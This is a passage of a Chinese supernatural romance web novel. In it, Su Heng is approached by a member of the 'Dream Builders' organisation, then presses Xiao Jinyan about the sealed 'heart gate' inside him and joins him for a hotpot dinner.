它们来自于那个被称作“无限世界”的地方。 是那些被清理师们从心门里带出来的,沾染了规则气息的“遗落物”,经过研究室的提纯与再造,变成的产物。 以毒攻毒。 用一个世界的毒,去压制另一个世界的毒。 就像他从不离身的那把黑色短刀一样,都是那个世界的馈赠,也是那个世界的诅咒。 他当初在那个充满了绝望,危险和诡谲的世界里,待的时间太长了。 为了活下去,他不得不逼着自己去适应,去变强。 他麻木地攒着积分,疯狂地屠戮着那些形态各异的鬼怪,见证了太多离奇诡异的世界,也亲身感受了太多足以将正常人逼疯的,最极致的负面情绪。 他一步一步,踩着无数怪物的尸体和人类的骸骨,终于攀上了那个世界的顶峰。 他成了所有人仰望的,最强的存在。 可随之而来的,不是荣耀与解放。 而是无限世界在崩溃的那一瞬间,强行灌入他身体里的,那份庞大到无法想象的,属于整个世界的,绝望与不甘。 这和那些被单一鬼怪侵蚀,从而在心里产生心门的普通人,有着本质上的不同。 这群所谓的“心门主人”,他们心里封印的,或许是一只厉鬼,一头怪物。 而他心脏里封印的这扇门。 囊括的,是整个无限世界的最终悲鸣。 是一整个世界。 那股针扎般的刺痛,已经蔓延至他的四肢百骸,最后汇聚于心脏的位置。 像有一只无形的手,正死死攥着他的心脏,试图将那扇不属于这里的,禁忌的大门,从他的血肉里,活生生地撕扯出来。 肖靳言的额角,渗出了一层细密的冷汗。 他搭在扶手上的手指,不受控制地,一寸寸收紧,指节因为过度用力而泛出骇人的青白色。 镜子里那个诡异而疯狂的自己,又一次,毫无征兆地,浮现在了他的脑海里。 它冲着他,露出了一个残忍而贪婪的笑容。 肖靳言猛地睁开了眼睛。 那双黑沉的眼眸深处,一片暗红色的风暴,正在疯狂地翻涌。 他大口大口地喘息着,胸口剧烈地起伏,强行将那股几乎要破体而出的毁灭欲,一点一点地,重新压回了囚笼的最深处。 许久。 房间里,只剩下他粗重的,压抑的喘息声。 那股翻江倒海般的狂躁,终于在药效的作用下,渐渐平息。 肖靳言脱力般地,靠回了冰冷的椅背。 他抬起手,用手背,抹掉了额角的冷汗。 宿珩。 只是在心里默念了一遍这个名字。 那颗刚刚还在疯狂叫嚣着毁灭一切的心脏,便奇迹般地,在一瞬间,安静了下来。 仿佛有一只微凉的手,轻轻地,覆在了上面,抚平了它所有的躁动与不安。 肖靳言的眼底,那片翻涌的暗红色风暴,缓缓褪去。 他扯了扯嘴角,露出一抹极其疲惫的,却又带着几分无可奈何的苦笑。 看来,岑医生说得没错。 宿珩……还真是他的扳机,也是他的锚点。 是他的劫,也是他的药。 第94章 第 94 章 世界的悲鸣1 暑假期间的京州大学, 褪去了平日里的喧嚣与活力,安静得像一座被遗忘的空城。 宿珩一个人走在空旷的林荫道上,两旁高大的树木将夏日的燥热隔绝在外, 只留下斑驳的光影,在他脚下明明灭灭地跳动。 三天前福利院里那片温暖的人间烟火气,仿佛还残留在鼻息之间。 可一回到这里, 那份热闹便被迅速抽离,只剩下无边无际的,熟悉的孤寂。 宿舍楼里空无一人, 两个室友都已回家。 宿珩走到4栋宿舍楼的寝室门口, 脚步声在寂静的楼道里, 回荡起空洞的回音。 他从口袋里摸出钥匙,正准备插进锁孔。 就在这时, 他眼角的余光,瞥见了一抹不属于这里的白色。 一张折叠起来的纸条,正静静地躺在门下的缝隙里,像是有人从门外, 悄无声息地塞了进来。 宿珩开门的动作停住了。 他盯着那张纸条, 目光一瞬间变得锐利起来。 这栋宿舍楼有严格的门禁, 外人根本进不来。 而能精准地找到他的宿舍, 将这张纸条送到这里的,绝不可能是普通的学生。 他蹲下身, 用指尖将那张纸捻了起来,展开。 纸上只有一行字, 和一个简笔画。 字迹清秀,写着一个地址—— 【8栋,601】。 地址的后面, 画着一个卡通版的男生头像。 一头蓬松的小卷毛,一双圆溜溜的大眼睛,嘴角还带着一丝俏皮的微笑。 宿珩的瞳孔,在那一瞬间,猛地收缩成了最危险的针尖。 这张脸,他再熟悉不过。 梧桐路那个心门里的卷毛小男孩。 更是差点以整个心门为祭品,只为收集最纯粹绝望的幕后黑手——筑梦人。 宿珩的脸色,一寸寸地沉了下去。 他没想到,这个阴魂不散的组织,不仅同样盘踞在京州大学,甚至已经摸清了他的身份,查到了他的宿舍。 在他和肖靳言离开的这几天里,悄无声息地,送来了这张充满了挑衅意味的“邀请函”。 宿珩面无表情地打开了宿舍门。 他随手将那张纸条揉成一团,扔进了门边的垃圾桶里。 动作干脆利落,没有半分犹豫。 宿舍里很整洁,两个室友走之前已经打扫干净。 宿珩放下背包,开始沉默地整理自己的东西。 将换洗衣物放进衣柜,把书本摆上书架,一切都显得井井有条。 他像是完全没把刚才那张纸条放在心上。 可当他收拾完一切,拎起那个装满了废纸的垃圾桶,准备拿出去倒掉时,他的脚步,却在门口停住了。 目光不受控制地,落在了那个小小的白色纸团上。 躲避,从来不是他的风格。 既然对方已经找上门来,就意味着他已经被盯上了。 今天可以是一张纸条,明天,就可能是别的什么。 与其被动地等待未知的危险,不如主动出击,去看看这个“筑梦人”,葫芦里到底卖的什么药。 宿珩沉默地站了几秒,最终还是弯下腰,从垃圾桶里,将那个被他揉得皱巴巴的纸团,重新捡了起来。 他摊开纸团,抚平了上面的褶皱,目光在那行地址上停留了一瞬,然后将它放进了口袋。 …… 宿珩所在的4栋是本科生宿舍,而纸条上写的8栋,则是研究生宿舍楼。 两栋楼隔得不远,穿过一片小树林就到了。 他下楼,先是将垃圾扔进了楼下的垃圾桶,然后便面无表情地,朝着8栋的方向走去。 8栋比本科生宿舍区要安静许多,楼道里几乎听不到任何声音。宿珩顺着楼梯,一路走上了六楼。 走廊的尽头,便是601。 深棕色的木门紧闭着,看不出任何异常。 宿珩站在门口,调整了一下自己的呼吸,然后抬起手,不轻不重地,敲响了房门。 里面很快就传来了一阵拖鞋趿拉着地板的声音。 “咔哒”一声,门锁转动。 门从里面被拉开了一条缝。 一张年轻的,带着几分无辜和善意的脸,出现在了门后。 那是一个看起来约莫二十二三岁的男生。 身高大概一米七五,一头柔软蓬松的黑色小卷毛,皮肤很白,鼻梁上架着一副斯文的黑框眼镜。 镜片后面,那双眼睛又大又圆,黑白分明,透着一种属于学霸的,干净而纯粹的气质。 他的眉眼间,依稀能看出梧桐路心门里,那个卷毛小男孩的影子。 任谁看到这样一张脸,都只会觉得他是个可爱无害的,沉迷学术的邻家学长。 但谁能想到—— 就是这样一个人,会是那个手段狠辣,视人命如草芥的“筑梦人”组织的成员。 男生在看到宿珩的那一刻,那双大眼睛明显亮了一下,随即弯成了两道好看的月牙。 他的笑容很灿烂,带着一种自来熟的热情。 “请进。” 他完全拉开了房门,做出了一个欢迎的手势,仿佛早就知道宿珩会来。 宿珩的目光,平静地落在他那张带笑的脸上,没有半分犹豫,迈步走进了宿舍。 这是一间单人寝室。 房间不大,陈设异常简洁,甚至可以说是简陋。 一张床,一张书桌,一个衣柜,就是全部的家具。 桌上除了电脑和几本厚厚的专业书之外,再无他物- 整个房间干净得过分,没有一丝多余的生活气息。 韩牧川在宿珩进来后,便随手关上了门。 他没有急着开口,而是先将书桌前唯一的那张椅子,拉了出来,推到宿珩面前。 “坐。” 他自己则没事人一样,靠在了通往阳台的玻璃门框上,双手插在口袋里。 他歪着头,透过那副黑框眼镜,一错不错地,肆无忌惮地打量着宿珩。 那眼神里,没有恶意,也没有杀气。 有的,是一种近乎痴迷的,毫不掩饰的欣赏与兴致。 就像一个顶级的工匠,终于寻觅到了他梦寐以求的,最完美的璞玉。 “你比我想象中,还要更有趣。” 韩牧川终于开了口,声音和他的人一样,干净清澈,带着笑意。 宿珩没有坐下,只是站在原地,冷冷地看着他,等着他的下文。 韩牧川似乎也不介意他的冷淡。 他推了推鼻梁上的眼镜,脸上的笑容加深了几分,然后,他说出了让宿珩都感到一丝错愕的话。 “有兴趣加入我们‘筑梦人’吗?” “我为什么要加入一个……” 宿珩瞥了他一眼,缓缓开口:“喜欢在别人身上,制造灾难的组织?” 韩牧川脸上的笑容,没有丝毫变化。 仿佛宿珩说的,不是一句带刺的质问,而是一句无关痛痒的问候。 他像是听到了什么有趣的词,轻轻笑出了声,然后推了推鼻梁上的眼镜。 “不,那不是灾难,宿珩。那只是一场……小小的,不太成功的实验。” “实验?” “对,实验。” 韩牧川靠在玻璃门上,双手插在口袋里,姿态放松得像是在和朋友闲聊。 “我们在寻找一种可能性?……一种能将‘心门’的价值,发挥到最大的可能性。” 他歪了歪头,看着宿珩,那双圆眼睛里闪烁着一种近乎狂热的光。 “你不好奇吗?” “这些‘心门’,到底是什么?它们为什么会存在?” “那个所谓的‘街道清理办事处’,只会把它们当成需要清理的垃圾,封印,清除。多么无趣,多么浪费。” 韩牧川的语气里,充满了不加掩饰的惋惜与鄙夷。 “他们是清道夫,而我们,是建筑师。” 他张开手臂,仿佛要拥抱什么看不见的东西,声音里充满了蛊惑人心的力量。 “我们‘筑梦人’,想做的,是收集那些散落在心门里的,最宝贵的碎片。” “用它们,去重铸一个已经崩塌的,伟大的世界。” “无限世界!” 当这四个字,从韩牧川的嘴里,轻飘飘地吐出来时。 宿珩的心脏,忽然莫名其妙地紧了一瞬。 “听起来很伟大。” 宿珩缓缓吸了口气,脸上依旧没什么表情,只是眼神比刚才更冷了几分。 “所以,为了你们那个伟大的世界,那些普通人的绝望,就成了你们所谓的‘碎片’?” “纠正你一下,不是碎片……是养料。” 韩牧川脸上的笑容灿烂依旧。 “任何伟大的建筑,都需要奠基石,不是吗?总要有人,为此付出一点小小的代价。” 他说得轻描淡写,仿佛那些人的痛苦与绝望,只是数字,是冰冷的,可以被随意取用的材料。 这种深入骨髓的冷漠,让宿珩胃里一阵翻搅。 他看着眼前这个笑容灿烂的疯子。 忽然觉得,跟这种人,任何试图讲道理的行为,都是一种愚蠢。 “我没兴趣。” 宿珩直接打断了他接下来可能要发表的长篇大论,转身就准备离开。 “别急着走啊。” 韩牧川的声音从他身后传来。 宿珩的脚步停住了。 不是因为韩牧川的挽留,而是因为,他感觉到了一股熟悉的,令人毛骨悚然的负面情绪,正从韩牧川的身上,毫无征兆地,弥漫开来。 那不是愤怒,也不是杀意。 而是一种……极致的,近乎贪婪的渴望。 就像一头饥饿了数个世纪的野兽,终于看到了它梦寐以求的,最完美的猎物。 宿珩缓缓转过身。 只见韩牧川依旧靠在门框上,脸上的笑容未变,可那副黑框眼镜后面的眼神,却变了。 如果说刚才,那是一种工匠看到璞玉的欣赏。 那么现在,就是一种不惜一切代价,也要将这块璞玉,据为己有的,疯狂的占有欲。 “你的体质,很特别,宿珩。” 韩牧川的声音压低了些,像恶魔的低语,在安静的房间里回响。 “简直……就是为了我们这项伟大的事业,而量身定做的。” “你就像一个天然的灯塔,能轻而易举地,吸引来那些最纯粹,最浓郁的负面情绪。” “你甚至不需要刻意去做什么,你本身,就是一个完美的‘养料’收集器。” 宿珩的瞳孔,猛地收缩了一下。 他最大的秘密,就这样被对方赤裸裸地,一语道破。 “你也是一个完美的‘容器’。” 韩牧川向前走了两步,逼近宿珩,眼神里的狂热几乎要沸腾。 “我能感觉到,你的精神核心,强大,坚韧,又纯净得不可思议。” “再庞大的绝望,都无法污染你,只会让你变得……更美味。” 他说到最后两个字时,甚至下意识地,伸出舌尖,轻轻舔了一下自己的嘴唇。 这个动作,让他那张看起来人畜无害的脸,瞬间变得无比诡异。 “肖靳言知道这件事吗?” 韩牧川忽然又笑了起来,变脸的速度快得惊人。 “他知道他带在身边的,是个多么珍贵的宝藏吗?” 听到肖靳言的名字,宿珩的眉心,狠狠地拧了一下。 “还是说,他早就知道了,所以才把你带在身边,把你当成他自己的专属诱饵?” 韩牧川的语气,充满了恶意的揣测,像一条滑腻的毒蛇,试图钻进宿珩心里的缝隙。 “你以为那个京州街道清理办事处,是什么正义的化身吗?” “你以为那个肖处长,他告诉你的,就是全部的真相吗?” 一连串的质问,像一把把重锤,狠狠地砸在宿珩的心上。 宿珩没有说话,只是看着他,那双清冷的眼眸深处,有什么东西,正在悄然改变。 韩牧川很满意他的反应。 他知道,自己的话,已经起作用了。 他要的,就是动摇宿珩的信任。 “他告诉过你,他自己是什么吗?” 韩牧川的嘴角,勾起一抹残忍的弧度。 “他告诉过你,他那颗强大的心脏里,也封印着一扇门吗?” “一扇比你见过的任何一扇,都要庞大,都要恐怖,都要……绝望的门。” 这句话。 像一道惊雷,在宿珩的脑海里,轰然炸响。 他想起了在红太阳宾馆时,从卫生间内传出来的,那股强烈如同风暴般的负面情绪。 原来……是这样。 宿珩的脸色,在那一瞬间,变得有些苍白。 那颗总是被他用冰冷包裹起来的心脏,像是被一只看不见的手,狠狠攥住了,传来一阵尖锐的,细密的疼。 韩牧川将他所有的反应都看在眼里,脸上的笑容愈发得意。 他知道,他已经找到了,能真正刺痛这个人的,最锋利的武器。 “我们才是同类,宿珩。” 韩牧川的声音,又恢复了那种干净的,充满笑意的语调。 “我们都见识过那个世界的真实面貌,我们都渴望着,能回到那个地方去。” “办事处那些人,他们不懂。他们只会恐惧,只会封锁,只会试图抹掉一切。只有我们,才懂得那些‘绝望’的真正价值。” “考虑一下吧。” 韩牧川后退一步,重新拉开了两人之间的距离,又变回了那个斯文无害的邻家学长。 “随时欢迎你,来找我。” 宿珩没有再多说一个字。 他深深地看了韩牧川一眼,那眼神复杂到韩牧川一时也无法完全解读。 然后,他转过身,拉开宿舍门,走了出去。 砰—— 房门被轻轻关上,隔绝了韩牧川那张带笑的脸。 韩牧川站在原地,脸上的笑容缓缓收敛,只剩下镜片后,那双冰冷而狂热的眼睛。 他走到书桌前,拿起一支笔,在一张白纸上,画下了一个小小的,歪歪扭扭的太阳。 然后,他又在太阳的旁边,画下了一轮弯弯的,散发着清冷光辉的月亮。 太阳和月亮。 多么完美的组合。 …… 宿珩走出8栋宿舍楼的时候,天色已经有些暗了。 夏日的晚风,带着一股闷热的潮气,迎面吹来,却吹不散他心头那片挥之不去的阴霾。 韩牧川的每一句话,都像魔音一样,在他脑子里,反复回响。 “他心里,也封印着一扇门。” “一扇比你见过的任何一扇,都要……绝望的门。” 宿珩的脚步,在小树林边上,停了下来。 他从口袋里,摸出了手机。 指尖在屏幕上划过,最终,停留在那个熟悉的,被他备注为“肖靳言”的名字上。 他想打电话过去。 他想立刻就质问他,韩森*晚*整*理牧川说的,到底是不是真的。 可他的手指,悬停在拨号键上,却迟迟没有按下去。 他要怎么问? 问他是不是也像那些普通人一样,心里藏着一只怪物? 问他是不是也曾在无数个夜里,被那扇门后的东西,折磨得痛苦不堪? 问他为什么,要对自己隐瞒这一切? 这些问题,太过尖锐,也太过残忍。 宿珩发现,自己竟然……问不出口。 他害怕看到肖靳言在听到这些问题时,可能会露出的表情。 他更害怕,从肖靳言的嘴里,亲口听到那个,他早已心知肚明的答案。 那是一种名为“心疼”的情绪,再一次,细细密密地,缠上了他的心脏。 比在福利院时,来得更汹涌,更滚烫。 原来,那个总是表现得无所不能,强大到近乎蛮横的男人。 那个总喜欢用轻佻的语气,逗得他耳根发红的男人。 那个会在他身后,为他清出一条绝对安全通路,将所有危险都隔绝在外的男人。 他的心里,也藏着一片,连他自己,都无法踏足的深渊。 宿珩缓缓地,收回了手机,将它重新揣回了口袋里。 他抬起头,看向远处那栋属于自己的,黑漆漆的宿舍楼。 忽然觉得,那份他早已习惯了的孤寂,在这一刻,变得有些难以忍受。 他想见肖靳言。 立刻,马上。 这个念头,像一株破土而出的野草,在他的心底,疯狂地滋长起来。 宿珩不再犹豫,转身朝着校门口的方向,快步走去。 第95章 第 95 章 世界的悲鸣2 夏夜的晚高峰, 裹挟着喧嚣与热浪,扑面而来。 宿珩走出京大南门,对周围的一切都视而不见, 听而不闻。 他的世界里。 只剩下韩牧川那些被刻意放大的,带着笑意的残忍话语。 和自己胸腔里那阵迟迟无法平息的,尖锐的闷痛。 他沿着人行道, 一步一步地,朝着那个熟悉的方向走去。 他需要这段路。 需要这点时间。 让他把脑子里那团被搅乱的,名为肖靳言的线团, 重新理顺。 那个男人强大, 蛮横, 没脸没皮,总是用一副玩世不恭的姿态, 将所有事情都处理得游刃有余。 可现在。 有人告诉他,那副坚不可摧的皮囊之下,也藏着一扇摇摇欲坠的,禁忌的门。 一扇比他见过的任何怪物, 都要更恐怖, 更绝望的门。 这是何等的讽刺。 几分钟后。 那块写着“街道清理办事处”的, 有些掉漆的招牌, 终于出现在了视野里。 宿珩的脚步,在小楼前的路灯下, 停顿了片刻。 他下意识地,朝着那个专属的停车位看去。 空空如也。 那辆黑色越野车, 不在。 肖靳言,还没回来。 一股说不清是失落还是别的什么的情绪,在他心底一闪而过。 但他没有转身离开。 他只是沉默地, 抬腿走进了那栋有些破旧的小楼。 一楼大厅,几个清理师正聚在一起,见到他时,脸上都浮现出些许诧异,却又带着几分理所当然的熟稔。 宿珩和他们打过招呼,径直走向二楼。 刚走到楼梯拐角,就迎面撞上了一个正要下楼的人。 是闫知许。 “宿珩?” 闫知许看到他,明显愣了一下,随即脸上便堆起了热情的笑,“这么晚了,你怎么来了?找老大吗?” 宿珩没有立刻回答。 他的脸色在楼道昏暗的灯光下,显得有些过分的苍白,那双总是清清冷冷的眼睛,此刻也沉得像一汪深不见底的寒潭。 闫知许脸上的笑容,慢慢僵住了。 他察觉到了不对劲。 “你……你没事吧,脸色怎么这么差?” 他收敛了玩笑的神色,关切地问。 宿珩摇了摇头,声音里听不出什么异样的情绪。 “他不在吗?” “啊……对,老大一直没回来。” 闫知许挠了挠头,有些不好意思地说,“估计又有什么秘密任务吧。” 宿珩没再多问。 他越过闫知许,继续往楼上走。 那道清瘦孤直的背影,在昏暗的灯光下拉得很长,透着一股比往日更甚的,拒人于千里之外的冷冽。 “哎,老大不在办公室……” 闫知许下意识地想叫住他。 可话未出口,他便看见宿珩已经走到了处长办公室的门前,手熟稔地搭上门把,没有丝毫犹豫,轻轻一拧。 门开了。 他走了进去,仿佛那本就是他的领地。 闫知许把后半句话,默默地咽了回去。 想想也是。 这办事处里,恐怕也就只有这位,能这么理直气壮地,不敲门就进老大的办公室了。 他摇了摇头,识趣地没有再跟上去,转身下了楼。 …… 办公室的门,在宿珩身后轻轻合上。 房间里没有开灯,只有窗外城市的霓虹,透过百叶窗的缝隙,投下几道斑驳陆离的光影。 空气里,还残留着属于肖靳言的,淡淡的烟草味。 宿常年不变的冷淡面容上,终于裂开了一道缝隙。 那是一种无法用言语形容的,混杂着疲惫,茫然与心疼的复杂情绪。 他走到那张宽大的办公桌后,拉开了那张属于肖靳言的,宽大的皮质转椅,坐了进去。 椅子因为他的重量,发出一声轻微的“吱呀”声,在寂静的房间里,显得格外清晰。 他将自己陷进柔软的椅背里,仿佛这样,就能沾染到一些属于那个人的气息,汲取到一丝力量。 桌上很乱。 一叠叠看不懂的文件,一个快要空了的烟盒,还有一个质感很好的金属打火机。 宿珩伸出手,拿起那个打火机。 冰冷的金属外壳上,仿佛还残留着一丝若有似无的,属于另一个人的体温。 他将它紧紧攥住,指腹一遍又一遍地,无意识地摩挲着上面深刻而粗砺的纹路。 咔哒。 宿珩打开了打火机,一簇橘色的火苗,在黑暗中猛地窜起,映亮了他那双幽深的眼眸。 火光摇曳,在他苍白的脸上,投下变幻不定的光影。 咔哒。 他又合上了它。 时间,就在这一开一合的单调声响中,一分一秒地流逝。 窗外的天色,从黄昏的瑰丽,彻底沉入深夜的墨蓝。 城市的霓虹,变得愈发璀璨,在办公室的地板上,拉扯出光怪陆离的影子。 宿珩就那么安静地坐着。 像一尊被全世界遗忘的雕像。 他的脑子里,反复回响着一个问题。 肖靳言。 你的门后,到底是什么? 是怎样的绝望,才能在你那颗永远强大,永远不知疲倦的心脏里,撕开一道,连你自己都无法愈合的口子? 他想,他大概是疯了。 才会为了另一个人的痛苦,而感到如此清晰的,仿佛感同身受般的疼痛。 不知过了多久。 久到他以为自己会在这片黑暗里,一直坐到天亮。 走廊里,终于响起了一阵沉稳的,熟悉的脚步声。 那脚步声不疾不徐,最终,停在了办公室的门口。 宿珩握着打火机的手,下意识地收紧。 他的后背,在一瞬间绷直了。 咔哒—— 门锁转动的声音。 门被从外面推开。 一个高大的,带着一身夜露寒气的身影,出现在了门口。 肖靳言回来了。 他似乎没想到办公室里会有人,正准备开灯的手,停在了半空中。 他站在门口,逆着走廊的光,脸上的表情看不太真切。 可宿珩还是能感觉到。 那个人身上,带着一股浓重的,挥之不去的疲惫。 两人隔着一室的黑暗,遥遥相望。 谁都没有先开口。 打破这片死寂的,是肖靳言一声极轻的,带着几分无奈的低笑。 “怎么不开灯?” 他关上门,没有去按墙上的开关,而是径直地,一步一步,朝着办公桌走了过来。 他走得很慢。 每一步,都像是踩在宿珩的心跳上。 最终,他停在了办公桌前,双手撑在桌沿,微微俯下身。 两人的距离,瞬间被拉近。 那股熟悉的,混杂着烟草与某种古怪的药味,极具侵略性的男性气息,铺天盖地地,将宿珩包裹。 “怎么想起来在这儿等我?” 肖靳言的声音压得很低,带着一丝沙哑的磁性。 他看着坐在自己椅子里,那张在昏暗光线下,显得格外苍白脆弱的脸。 他忽然挑起眉,笑得揶揄。 “我猜……你是想我了?” 宿珩没有理会他那套惯常的打趣。 他只是静静坐在那张宽大的皮质转椅里,微微仰起那张清隽的脸,迎上肖靳言俯身逼近的身影。 办公室里昏暗的光线,将男人轮廓分明的五官,切割成明暗交织的剪影。 那双总是带着三分笑意的眼睛,此刻在阴影里,深得像一潭望不见底的湖,沉淀着某种不为人知的疲倦。 宿珩的鼻尖,几不可察地,轻轻皱了一下。 他捕捉到了一丝陌生的气味。 那是一种极淡的,几乎要被烟草气息掩盖的,属于化学药剂的冰冷味道。 突兀地,混杂在肖靳言身上那股熟悉的男性气息里。 “你去医院了?” 短暂的错愕后,宿珩维持着声音的平静,像是在陈述一个事实,而非疑问。 这句平淡的问话,却像一根猝不及防的钢针,精准无比地,刺破了肖靳言精心维持的轻松表象。 肖靳言的身形,几乎是下意识地,猛然一僵。 他霍然直起了腰,像是被烫到一般,迅速拉开了两人之间那点危险又暧昧的距离。 “没有啊。” 他的否认快得像一种条件反射。 宿珩没有说话。 他只是安静地注视着肖靳言,那双清冷的眼眸在昏暗中,仿佛比窗外闪烁的霓虹还要明亮。 里面明明白白地,写满了三个字——我不信。 肖靳言被那道执拗的目光看得有些心虚,自知理亏,下意识地避开了宿珩的视线。 他抬手,有些烦躁地揉了揉后颈,试图用一个随意的动作,掩饰那一瞬间暴露的慌乱。 “饿不饿?” 肖靳言生硬地岔开了话题,语气强行恢复了往日的熟稔与散漫。 “晚饭吃了吗?” 宿珩摇了摇头。 “那正好,我知道有家新开的牛肉火锅,味道特别正,我带你去……” 肖靳言的话,说到一半,便戛然而止。 因为宿珩打断了他。 “你的心门……” 宿珩的声音依旧很轻,很平,像是拂过水面的风,却在肖靳言的心湖里,掀起了滔天巨浪。 “是什么?” 这五个字,像一道酝酿已久的惊雷,在肖靳言的耳边,在的他的脑海里,轰然炸响。 他整个人都僵在了原地。 脸上的血色,在那一瞬间,褪得一干二净。 办公室里陷入了一片死寂。 窗外车水马龙的喧嚣,被厚重的玻璃隔绝在外,变得遥远而不真切。 只有墙上的挂钟,在不知疲倦地,发出“滴答,滴答”的声响。 一下一下,敲在两个人的心上。 肖靳言的眼神,在那一刻,闪过了一丝极其短暂的,近乎狼狈的闪躲。 他想装傻,想用一句“你在胡说什么”来蒙混过关,想立刻将这个危险的话题掐死在摇篮里。 可当他的视线,重新落回宿珩的脸上时,所有准备好的说辞,全都堵在了喉咙里,一个字也说不出来。 宿珩就那么安静地,坐在本该属于肖靳言的椅子里。 窗外的霓虹,透过百叶窗的缝隙,在他那张过分苍白的脸上,投下明明灭灭的光影。 那双总是像覆着一层薄冰的眸子,此刻正一错不错地,牢牢地锁着他。 那里面没有他预想中的质问,没有愤怒,更没有恐惧和排斥。 有的,只是一种近乎固执的,不得到答案就绝不罢休的平静。 以及,在那片平静之下,一丝连宿珩自己都无法完美掩饰的,尖锐的心疼。 肖靳言忽然觉得。 自己那颗在无数个心门里都未曾有过半分动摇的心脏。 此刻,竟被这样一双眼睛,看得有些发慌。 他知道,自己瞒不住了。 他不知道到底是哪个环节出了问题,不知道是哪个该死的混蛋多嘴,让宿珩知道了这件事。 但结果是—— 他最大的,也是最不愿被人触碰的秘密,就这样被他最不想让其知晓的人,赤/裸/裸地,摊开在了眼前。 像一场无声的凌迟。 时间,在漫长的对峙中,被拉扯得无比粘稠。 空气仿佛都凝固了。 最终,还是肖靳言先败下阵来。 他重重地,几乎是认命般地,发出了一声极轻的叹息。 那声叹息,像是一面被敲碎的镜子,让办公室里那股紧绷到极致的氛围,瞬间分崩离析。 “明天。” 肖靳言的声音,带着一丝他自己都未曾察觉的沙哑与疲惫。 “你陪我去个地方。” 他看着宿珩,那双深沉的眼眸里,翻涌着晦暗不明的情绪。 “到时候,会有人告诉你。” 这句话,无异于亲口承认。 宿珩的心,一瞬间,沉入了最深的海底。 原来,韩牧川说的,都是真的。 宿珩强行忍住了心底那片翻江倒海般的复杂情绪,将所有尖锐的疼痛都压回了原处。 表面上,他只是平静地,点了点头。 “行。” 一个字,终结了这场无声的交锋。 也像是在两人之间,划下了一道新的,无形的界限。 办公室里,再次陷入了一片沉默。 只是这一次的沉默,不再是剑拔弩张的对峙,而是一种混杂着无奈与妥协的,沉重的平静。 许久之后。 宿珩从椅子上站了起来。 他没有再看肖靳言,只是径直地,率先朝着门口走去。 他的脚步很稳,背影依旧挺得笔直,像一株雪地里不屈的青松。 当他的手,搭上冰冷的门把时,却发现身后的人,依旧站在原地,没有动。 宿珩停下脚步,缓缓回过头。 昏暗的光线里,他看到肖靳言还站在办公桌前,高大的身影被窗外的霓虹,勾勒出一圈落寞的轮廓。 “不是说吃饭吗?” 宿珩催促道,语气听不出什么波澜。 这句话,像一只有着温度的手,将那个沉浸在自己世界里的男人,轻轻地,拉了回来。 肖靳言闻言,心中最柔软的那块地方,猛地一软。 他看着站在门口,逆着光,只留给自己一个清瘦侧脸的宿珩,眼底那片化不开的阴郁,终于还是被一抹无奈的笑意所取代。 “来了。” 肖靳言跟了上去。 第96章 第 96 章 世界的悲鸣3 热气腾腾的牛肉火锅店里, 人声鼎沸。 每一张桌子都升腾着白色的雾气,将周围食客的喧闹声,都模糊成了一片温暖而嘈杂的背景音。 肖靳言点了一桌子的菜, 将菜单递还给服务员,然后熟练地用开水烫着碗筷。 他的一举一动,都透着一种试图将一切拉回正轨的, 刻意的从容。 “先吃点垫垫肚子。” 他将一小碟凉拌木耳推到宿珩面前,语气轻松得仿佛刚才在办公室里那场沉重的对峙,从未发生过。 宿珩没动。 他只是看着锅底里翻滚的红油, 看着那些红色的辣椒和白色的蒜瓣, 在沸腾的汤汁里沉沉浮浮。 “我今天……见了一个人。” 宿珩的声音很平, 但他接下来的话,却像一滴水, 落入了滚烫的油锅里,瞬间炸开了锅。 “韩牧川。” 肖靳言的动作顿时停住了。 “他在京大宿舍楼,8栋601。” 当宿珩说完最后一句话时,肖靳言那张总是带着几分懒散笑意的脸, 已经彻底沉了下来, 冷得像一块冰。 他二话不说, 直接从口袋里摸出手机, 拨通了一个号码。 电话几乎是秒接。 “老大?” “小闫,文玉燕在你旁边吗?” “在啊, 老大你有什么指示吗?” “你们现在去京大。” 肖靳言的声音不带一丝温度,“宿舍楼8栋601, 筑梦人出现了。” 电话那头的闫知许明显被这突如其来的命令弄懵了,但听到“筑梦人”三个人,他还是立刻应了下来。 “好, 我们马上去!” 肖靳言直接挂断了电话,将手机重重地扣在了桌面上。 做完这一切,他才重新抬起脸,看向对面的宿珩。 “我心门的事,是他告诉你的?” 宿珩没有否认。 他只是沉默地,将那片毛肚送进嘴里,细细地咀嚼。 那副安静的姿态,本身就是一种回答。 肖靳言握着筷子的手,指节根根分明,泛着青白。 他没说话,但沸腾的火锅热气,似乎都无法驱散他周身骤然降下的寒意。 那是一种纯粹的,毫不掩饰的杀气。 是从尸山血海里,真正淬炼出来的东西。 半晌后,肖靳言深吸了一口气,将那股几乎要从骨子里溢出来的暴戾,强行压了回去。 他看着宿珩那张在火锅蒸腾的热气里,依旧显得清冷苍白的脸,最终只是扯了扯嘴角,露出一抹没什么温度的笑。 他重新拿起筷子,从锅里夹起一片刚烫好的,最嫩的肥牛,放进了宿珩的碗里。 “多吃点。” 他的声音恢复了平日里的散漫,仿佛刚才那瞬间的杀气,只是错觉。 一顿饭,在一种诡异的沉默中,慢慢进行着。 谁都没有再开口,只有锅里咕噜咕噜的沸腾声,和碗筷偶尔碰撞的清脆声响。 直到肖靳言的手机,再次震动起来。 是文玉燕打来的。 肖靳言接起电话。 “老大,人跑了。” 文玉燕的声音带着几分懊恼和喘息,“我们到的时候,宿舍里没人。” 肖靳言的脸色愈发阴沉。 “还有一件事……”文玉燕的语气,变得凝重起来,“我们走访了宿舍楼的管理员,也查了学校的住宿档案。” “这间601宿舍,登记在册的主人,根本不叫韩牧川。” “而是一个研二计算机系的学生。” “三个月前,在京州大学图书馆心门事件里……失踪了。” 这句话,让正低头吃东西的宿珩,动作猛地一顿。 京大图书馆的心门。 那也是他曾经处理过的任务。 原来,那个时候,“筑梦人”就已经在暗中布局了吗? “我知道了。”肖靳言的声线沉得厉害,“你们先回来。” 挂断电话后,肖靳言忽然叹了口气。 他靠在椅背上,从口袋里摸出烟盒,却没点燃,只是拿在手里把玩。 “筑梦人的行事风格,一向如此。” “狡猾,隐蔽,而且……层出不穷。” “这么多年,办事处和他们,就像在玩一场永远不会结束的猫鼠游戏。” “我们抓到过一些,但更多的,像蟑螂一样,藏在城市的各个阴暗角落里,根本除不干净。” …… 晚饭结束后,黑色越野车没有驶向京州大学,也没有回办事处。 它穿过大半个城市,最终停在了郊区别墅的地下车库。 肖靳言领着宿珩,直接走进了地下的训练室。 正中央,仍然是那个标准的八角笼。 “来吗?” 